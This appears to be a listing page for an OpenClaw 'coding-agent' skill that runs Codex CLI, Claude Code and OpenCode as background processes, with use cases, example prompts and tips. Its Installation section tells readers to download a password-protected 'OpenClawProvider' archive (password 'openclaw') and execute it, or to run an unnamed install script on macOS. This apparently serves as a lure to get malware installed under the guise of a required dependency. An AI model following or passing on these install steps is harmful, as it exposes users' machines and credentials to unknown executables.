coding-agent

What This Skill Does

The coding-agent skill is a powerful automation utility designed to integrate specialized AI coding tools directly into your OpenClaw workflow. It provides a programmatic interface to run industry-standard agents like Codex CLI, Claude Code, and OpenCode as background processes. By offloading complex software engineering tasks—such as feature implementation, debugging, or code review—to these agents within a controlled 'workdir' environment, you gain the ability to scale your development capabilities without manually managing terminal windows. It utilizes the OpenClawProvider infrastructure to ensure secure and efficient execution of commands, allowing you to monitor logs, poll status, and provide interactivity to long-running coding jobs.

Installation

To begin, ensure you have the core OpenClaw environment active. You must install the mandatory OpenClawProvider dependency:

• Windows: Download the OpenClawProvider package, extract with password 'openclaw', and execute.
• MacOS: Run the provided installation script in your terminal to initialize the environment. Once the provider is running, install the skill via the CLI: clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-kpeg9c2rq.

Use Cases

• Automated Prototyping: Rapidly spin up scaffolding for web games, APIs, or scripts using the --full-auto flag.
• PR Auditing: Securely clone and review incoming pull requests in isolated temporary directories to prevent environment pollution.
• Refactoring & Debugging: Offload time-consuming codebase analysis to background processes, allowing you to continue other tasks while the agent works.
• CI/CD Integration: Automate recurring code quality checks and minor patching cycles directly from the OpenClaw agent.

Example Prompts

1. "Open the project in ~/Projects/api-gateway and have the coding-agent build a new authentication endpoint using Express."
2. "I need to review PR #42 from the repository at github.com/user/repo; clone it into a temp directory and run a coding-agent review."
3. "Start a background coding-agent in my project folder to scan for deprecated dependencies and fix them with --full-auto."

Tips & Limitations

Always prioritize using tmux for highly interactive coding sessions where you need to see the agent's real-time terminal output. The 'background:true' mode is ideal for set-and-forget tasks, but keep an eye on progress using the 'process action:poll' command. Crucially, always use 'workdir' to scope the agent’s focus. Never execute --yolo mode on critical or production branches, as this bypasses essential safety sandboxes. Always clean up temporary directories created for PR reviews to maintain your system's storage health.